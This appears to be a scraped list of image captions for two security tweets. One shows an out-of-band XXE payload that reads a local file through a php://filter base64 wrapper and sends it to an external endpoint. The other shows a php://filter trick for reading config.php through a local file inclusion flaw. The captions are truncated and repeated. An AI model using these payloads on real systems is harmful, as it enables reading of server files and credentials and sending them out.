![Jinwook Kim on Twitter: "Exploiting Out Of Band XXE using internal network and php wrappers <!ENTITY % data SYSTEM "php://filter/convert.base64- encode/resource=file:///D:/path/index.php"> ... exfil SYSTEM "http://target/endp.php?sid=[session_id ... Jinwook Kim on Twitter: "Exploiting Out Of Band XXE using internal network and php wrappers <!ENTITY % data SYSTEM "php://filter/convert.base64- encode/resource=file:///D:/path/index.php"> ... exfil SYSTEM "http://target/endp.php?sid=[session_id ...](https://pbs.twimg.com/media/ECSoMxuUEAA1abz.png)
Jinwook Kim on Twitter: "Exploiting Out Of Band XXE using internal network and php wrappers <!ENTITY % data SYSTEM "php://filter/convert.base64- encode/resource=file:///D:/path/index.php"> ... exfil SYSTEM "http://target/endp.php?sid=[session_id ...
![Adrian on Twitter: "Making use of an LFI vulnerability you can read the contents of any PHP file with this filter: http://example[.]com/index.php ?page=php://filter/read=convert.base64-encode/resource=config.php #LFI #LocalFileInclusion #Tip #Disclosure ... Adrian on Twitter: "Making use of an LFI vulnerability you can read the contents of any PHP file with this filter: http://example[.]com/index.php ?page=php://filter/read=convert.base64-encode/resource=config.php #LFI #LocalFileInclusion #Tip #Disclosure ...](https://pbs.twimg.com/media/DguU_4SXcAAAcWb.jpg)